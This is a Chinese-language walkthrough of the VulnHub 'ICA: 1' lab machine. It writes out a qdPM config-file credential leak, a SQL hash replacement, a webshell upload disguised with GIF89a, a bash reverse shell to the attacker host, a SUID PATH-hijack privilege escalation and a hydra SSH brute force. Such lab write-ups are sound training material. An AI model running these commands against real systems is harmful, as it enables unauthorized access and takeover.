运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:ica1(10.0.2.5)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/ica-1,748/
使用nmap主机发现靶机ip10.0.2.5
使用nmap端口扫描发现,靶机开放端口:22、80、3306
打开网站是qdPM9.2的登录界面,如下:
使用dirsearch
工具进行目录爆破,发现路径http://10.0.2.5/install/index.php?upgrade/
访问该链接,点击Database Config
,没有数据库的用户名和密码,无法进行下一步操作
搜索qdPM的历史漏洞,发现可利用的漏洞50176.txt
searchsploit -t qdPM
访问http://10.0.2.5/core/config/databases.yml
获取数据库用户名和密码
访问安装目录想试着重新安装一下,但发现靶机没有删除install文件夹,重置用户名和密码:
想到有了数据库的用户名和密码,并且靶机开放3306端口,可不可以连接数据库直接获取网站的密码。找到网站的用户名密码,发现直接登录失败,判断可能是密码加密了。
使用hash-identifier
工具判断密码加密类型为MD5(Wordpress)
,使用弱密码替换原密码,登录成功
UPDATE configuration set value="$P$BY681ibzenEcSOYXhxFbcwW7lXwgRL0" where id =2;
寻找可以利用的点,发现可以上传文件,上传一句话木马(注意木马头要添加GIF89a
才会上传成功),网站报错,但可以在uploads/users
看到文件上传成功
使用蚁剑进行连接,并反弹shell
bash -c 'bash -i >& /dev/tcp/10.0.2.15/8888 0>&1'
由于本人能力有限,看了其他大佬的解题思路,才提权成功。使用suid
进行提权。
寻找suid文件
find / -perm -u=s 2>/dev/null
发现文件get_access
,执行该文件
尝试读取该文件的字符串内容发现有setuid
和cat
读取root
下的文件字段,可以猜测该文件先设置了uid
,再执行cat
命令,可以考虑替换cat
进行提权
strangs /opt/get_access
更改环境变量,再重新执行get_access
,提权成功
cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH
获取flag
在数据库staff
库里发现了职工的用户名和密码,其中密码使用base64加密算法加密
将用户名和密码构造成字典,其中用户名作为账户名可能为全小写或者全大写,所以将大小写名字也添加进去。使用hydra
工具对ssh进行爆破
成功爆破出用户名和密码,登录ssh
参考链接:vulnhub-ica1-通关流程 // Kali & 靶场 & 渗透 & Linux_ica1 dologin-CSDN博客